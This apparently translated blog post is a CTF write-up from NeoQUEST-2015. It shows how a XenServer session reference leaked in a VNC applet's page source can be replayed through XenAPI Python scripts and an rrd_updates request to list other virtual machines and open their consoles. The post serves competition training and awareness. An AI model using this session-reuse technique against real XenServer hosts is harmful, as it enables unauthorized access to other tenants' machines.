📜 ⬆️ ⬇️

We get access to the XenServer cloud through access to one virtual machine

On March 11, the online stage of the annual cybersecurity competition NeoQUEST-2016 will start soon! In anticipation of this, we publish the analysis of one of the tasks of the “confrontation” NeoQUEST-2015. This task called “Truth is somewhere nearby” was aimed at gaining access to the entire XenServer cloud, having access only to one virtual machine! Such a hack is possible using a special applet, previously used by XenServer, which allows you to access the virtual machine via VNC.

Under the cut, we will describe the initial data for the task and describe how it was possible to complete this task in two ways:



Initial data


Participants in the job description received an IP address where the site was located with a large “Get Key” button. When it was pressed, an inscription appeared indicating that there were attempts to connect to two servers and attempts to find the key in the databases of these servers. However, as informed by the same inscription, it was possible to connect only to the first server, and the key was not found there ...
')


As you can see, it was possible to connect to server # 1, and even there is a link (the word “OK”). When clicking on a link, an applet should start, but since modern browsers do not work well with applets, most likely nothing will start.



However, the very first link in Google says: “you need to add the site to the allowed Java settings and restart the browser”! We do ...



After restarting the browser, the “Secure Warning” window appears, in which the Citrix System is written in the “Publisher” field.



By running the applet, the participant accessed the virtual machine. And here he had to understand that he was given access to a virtual machine that runs on the basis of the Citrix product. Googling what Citrix products are, we can assume that this is XenServer. And to be sure of it, you can look at the site icon and see the XenServer logo there.



On the desktop there is a shortcut to the Chrome browser, by running that and opening the story, you can find the call to "localhost / phpmyadmin". Going to this address, you can see the neoquest database, in which there is a key table, but there are no records ...



The virtual was one for all, and the participants actively fought for it, taking control of the mouse cursor from each other and preventing their rivals from viewing records in the database!

Further searches for the key on this virtual machine are useless, attempts to find another virtual machine on the network will also fail (the second virtual machine does not have a network adapter).

Looking at the source code of the page with the applet, we find the code responsible for its launch:

<applet archive='/q.jar' id=vncapp code='com/xensource/ui/vnc/Initialize.class' width='950' height='720'> <PARAM NAME='SESSION' VALUE = 'OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971'/> <PARAM NAME='URL' VALUE ='https://10.0.20.61/console?uuid=b1c1a188-26bf-e5c8-a5ed-7545f17f492b'/> <PARAM NAME='USEURL' VALUE ='true'/> </applet> 


At the start of the applet for the participant, two parameters are interesting: SESSION and URL. From the URL you can see that there is another IP address - 10.0.20.61. Go to this IP in the browser and see: “Citrix Systems, Inc. XenServer 6.2.0 ”, which finally convinces us that the virtual machine works on XenServer!

Now we start looking for a second virtual machine. It is logical to assume that it is also accessed through the applet, through the URL parameter, namely, through the UUID value. Therefore, for further experiments, it is necessary to run the applet on your computer. The easiest way to do this is to save the html page with the applet (the applet must be downloaded separately) and run on your own web server.

There are two ways to get the UUID value: via XenAPI or make a request to the server via a browser. Consider both of these methods in order.

Method number 1: use XenAPI


This was the planned decision of the task. The code will be written in Python, for this we download the SDK for XenServer and from there we take XenApi.py.
We need to get a list of all the virtual machines on the server, and for them a list of their consoles.

Googling how to get a list of virtual machines, you can find the following code:

 session = XenAPI.Session(xen_url) session.xenapi.login_with_password(xen_user, xen_pass) vms = session.xenapi.VM.get_all() print vms 


Where xen_url is the server address, in our case “https://10.0.20.61”, xen_user and xen_pass are not accessible to us, but we already have the value of the established session. You can try instead of session.xenapi.VM.get_all () to transfer the value of the established session directly to the method as follows: session.VM.get_all (ses). Then the script for getting the list of virtual machines will look like this:

 import XenAPI xen_url = "https://10.0.20.61" session = XenAPI.Session(xen_url) ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971" vms = session.VM.get_all(ses) print vms 


The result of this script will look like this:
 {'Status': 'Success', 'Value': ['OpaqueRef:fed67a7d-74c2-3eeb-6a0d-e17348b5d68c', 'OpaqueRef:fdafee99-e69d-d6a8-6988-402bbac14215', 'OpaqueRef:fa649f83-3566-5734-9a25-fa236f6902af', 'OpaqueRef:f899e08e-7abc-032b-c098-f99ae5b4034a', 'OpaqueRef:f437e8ad-2e3c-edc5-81ae-207ac6c12079', 'OpaqueRef:ef635a0a-209f-469f-1ab8-c014ecf4b7a5', 'OpaqueRef:ef31abb6-cd3e-2f12-bf94-3041b53a1a36', 'OpaqueRef:ef129c0c-3dfc-9ead-d447-4c729a6d9b47', 'OpaqueRef:ed097922-b78c-a4e6-aa9a-1cf47cc9c499', 'OpaqueRef:ea183995-6c42-1cf2-6775-9a3a66493a4e', 'OpaqueRef:e894f069-7386-5327-ec44-33c83de477e7', 'OpaqueRef:e869d8d3-0238-253b-675c-8f04efa2db1d', 'OpaqueRef:e8135b8d-2564-2f48-0235-c1c6d4f539f0', 'OpaqueRef:e29608d0-802c-8920-a218-31907a28e2b5', 'OpaqueRef:df6a1b82-5642-cd9f-9272-39118d9e565f', 'OpaqueRef:dbeee2e5-7745-a1ba-49e6-de4b3a5b518f', 'OpaqueRef:da163722-77cf-88a1-76ef-a87fbb9a789f', 'OpaqueRef:d6f55333-028d-8e1c-efcc-d2a05a9a53c1', 'OpaqueRef:d32bc06b-74ea-8250-3314-1a9c42338b3b', 'OpaqueRef:ce95e498-5a6a-9076-785d-181843739e18', 'OpaqueRef:cb0498ee-a7ef-87e8-c292-488ff9b182c8', 'OpaqueRef:c8256666-2535-6f3e-3575-72ce28bf7943', 'OpaqueRef:c20d68a4-043f-6cd1-6465-170e61253ee0', 'OpaqueRef:bdceecb8-a079-0846-7fa1-a31cf9520b50', 'OpaqueRef:bcb3d8b8-f09c-edad-4cb8-82072121a57d', 'OpaqueRef:b7189aab-cf4e-ed42-a418-292c9d180614', 'OpaqueRef:b5d37caf-43bb-20eb-edde-9ecda9a90bbb', 'OpaqueRef:ae066542-4503-0d71-2303-95bdbb659944', 'OpaqueRef:a29c957f-4cb8-c085-65bb-5338022aeee5', 'OpaqueRef:9b14ce06-d7b3-57c5-88ce-89784b198dd8', 'OpaqueRef:914316c7-d608-e7d0-b230-f57282bcf16c', 'OpaqueRef:8efe10a7-668b-bc25-ce23-30a9a25232ee', 'OpaqueRef:8df82c5d-e207-6f92-bac2-1320912d39a8', 'OpaqueRef:8a2c1418-6136-dadb-a027-79be66ed5cd6', 'OpaqueRef:88fae098-d089-2d9d-972d-f133c6f03e2f', 'OpaqueRef:83287204-9e5d-660d-8793-571c629d081c', 'OpaqueRef:81d6cf4e-359f-70d0-e325-b8be22336443', 'OpaqueRef:7e2f80af-8251-72d9-0d7f-77aea039a4d7', 'OpaqueRef:79c5b589-7dfa-ffb8-28d8-bcb076d16118', 'OpaqueRef:79b8f10e-681b-f5f1-49fc-4fab533eb29b', 'OpaqueRef:745a3e34-93eb-e63a-f2e0-dffa998c5c55', 'OpaqueRef:6e3f4400-847d-ee72-bd00-5d20e30aa885', 'OpaqueRef:6bc1c54a-5e3c-f201-0d6c-1c41eee98b94', 'OpaqueRef:6b446900-6a4f-0ec1-7725-aa5419b029ad', 'OpaqueRef:64072816-6999-7d73-bfd9-3a854447fcdd', 'OpaqueRef:60f71cfd-92d0-aeaf-85be-4480eef18f7a', 'OpaqueRef:608662aa-18cc-caff-b04e-52b095975940', 'OpaqueRef:605bca5f-40b7-c970-7d00-99b3159854bf', 'OpaqueRef:54b2ab62-9c68-9fb0-e130-cc20c1d72df8', 'OpaqueRef:4f99e67d-aac8-eb83-c0d0-b8cecb2196df', 'OpaqueRef:48e705dd-44b1-0261-095a-30dd175b7ec5', 'OpaqueRef:429bdf24-7e41-76c6-7566-3bb5bcda6efa', 'OpaqueRef:3dfdb9b9-13d3-d5d2-86c1-0ac03d8bd835', 'OpaqueRef:3d7462c7-cea0-b3cd-8adb-62cc93ff7ae9', 'OpaqueRef:3cd87b61-0232-ad9b-48ac-43d8900e0cc5', 'OpaqueRef:37d8fdda-e7e1-9376-85ac-e067e4db44b0', 'OpaqueRef:35d6d056-dabe-b731-9264-e7c5a55531af', 'OpaqueRef:34ac3f38-2329-e069-a3db-14954c0d1ba7', 'OpaqueRef:31db143b-0e37-4a7b-5d3e-11d200691be4', 'OpaqueRef:31148d7b-64ee-0d5d-8992-53a53c0d796e', 'OpaqueRef:3062dc3a-4298-bf2d-6190-17e5c8287c9a', 'OpaqueRef:2a825824-253a-d6d9-a6a8-f8ee05b772c9', 'OpaqueRef:271ca619-f84c-71c2-6db8-8d0def4ca9e3', 'OpaqueRef:25fd4564-5107-78e0-4229-bbb9c1138b12', 'OpaqueRef:23c62832-a906-df73-fed8-eda112419160', 'OpaqueRef:1ef59c47-e9f1-87ad-83b7-de67e35e3d7f', 'OpaqueRef:1d027e36-2364-e5af-5144-49e6243fac94', 'OpaqueRef:107d38cd-be64-9894-73bc-534e435747f5', 'OpaqueRef:0d365a10-d9c3-c4b0-e2e4-51503736b4d5', 'OpaqueRef:06ec3fcb-6951-1fb4-a6b5-d48d0a51cd2c']} 



The result was quite large, and this is not a list of virtual machines, but links to them, so it is more logical to continue writing the script, so as to get the console. To do this, we use the standard API function VM.get_consoles, as a result, the resulting script looks like:

 import XenAPI xen_url = "https://10.0.20.61" session = XenAPI.Session(xen_url) ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971" vms = session.VM.get_all(ses) for vm in vms['Value']: console = session.VM.get_consoles(ses,vm) print console 


Script execution result:
 {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': ['OpaqueRef:f655d6a7-453f-7b4c-ad89-ccc438a8b5a0']} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': ['OpaqueRef:fa451706-1715-1688-a440-e63d18b7b55a', 'OpaqueRef:70f202f8-ef56-275e-c17d-f7ff214a49f9']} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': ['OpaqueRef:9a08367f-3740-a192-ff49-2bc151a485ce']} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} {'Status': 'Success', 'Value': []} 



The result is again big enough, but most of the values ​​are empty, and, like last time, these are not the consoles themselves, but links for them. There are also virtual machines where there are two links for the console. The console.get_location function is used to convert the link into a value suitable for an applet. Then the script has the form:

 import XenAPI xen_url = "https://10.0.20.61" ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971" session = XenAPI.Session(xen_url) vms = session.VM.get_all(ses) for vm in vms['Value']: console = session.VM.get_consoles(ses,vm) for con in console['Value']: url = session.console.get_location(ses,con) print url 


The result of the script will be:

 {'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=9b7965ed-002b-5d52-4bd6-380556aa2219'} {'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=1a9df134-6e10-22a5-6f99-2d1df8f2fc58'} {'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=68d03d5d-d9cd-0b91-c61f-213f3a572582'} {'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=b1c1a188-26bf-e5c8-a5ed-7545f17f492b'} 


The last value is the same as in the URL field, which suggests that we are on the right track! It remains to check only 3 solutions.

Method number 2: via the Web

The second solution is much simpler and entirely web based. If you google “Xenserver OpaqueRef”, you can stumble upon a description of how to get performance metrics for Xenserver via RRD. To get some of these metrics, you only need to know the server’s IP address and OpaqueRef. So, to get all the metrics of a virtual machine, you need to know the UUID of the virtual machine "http: /// vm_rrd? Session_id = OpaqueRef: & uuid =", but to get updates for all virtual machines, all you need to know is OpaqueRef. We receive it by the request “http: /// rrd_updates? Session_id = OpaqueRef: & start = 10258122541”. In our case, the request will look like: "http://10.0.20.61/rrd_updates?session_id=OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971&start=10258122541".
As a result, the following xml will be displayed in the browser:
 <xport> <meta> <start>10258122545</start> <step>5</step> <end>1436505840</end> <rows>0</rows> <columns>26</columns> <legend> <entry> AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu3 </entry> <entry> AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu2 </entry> <entry> AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu1 </entry> <entry> AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu0 </entry> <entry> AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:memory </entry> <entry> AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:memory_target </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:cpu0 </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hdd_write </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hdd_read </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hda_write </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hda_read </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory_target </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vif_0_tx </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vif_0_rx </entry> <entry> AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory_internal_free </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:cpu0 </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vif_0_tx </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vif_0_rx </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hdd_write </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hdd_read </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hda_write </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hda_read </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory_internal_free </entry> <entry> AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory_target </entry> </legend> </meta> <data/> </xport> 



From this xml you can get 3 UUIDs: 4ac6b5b5-fb19-4874-b87a-c0da37f807cf, 11c607ae-c779-c9dd-6b5e-17fd4461defe, 362f5638-b9af-56e8-52dd-92f79267f6ef.
Although the UUIDs do not coincide with those in the assignment, they are also suitable!

End of task

Next, we loop through the available UUIDs or links to the local copy of the site with the applet. In the case of a link obtained through the API, the correct result will be 10.0.20.61/console?uuid=9b7965ed-002b-5d52-4bd6-380556aa2219 , and in the case of the UUID, 11c607ae-c779-c9dd-6b5e-17fd4461defe. We get to the clone of the first virtual machine, but the history is cleared in the browser. However, we remember that phpmyadmin was there! We go to localhost / phpmyadmin, there is the same base - neoquest, with the same table - key, in which lies the key:



Thus, using this applet, an attacker can “hijack” your XenServer cloud!

And registration on NeoQUEST-2016 continues!

At NeoQUEST-2016, participants will find a lot of interesting and diverse tasks, both complex and fairly simple, which even the newcomers to information security can pass. Choose your side and register !

Source: https://habr.com/ru/post/264555/


All Articles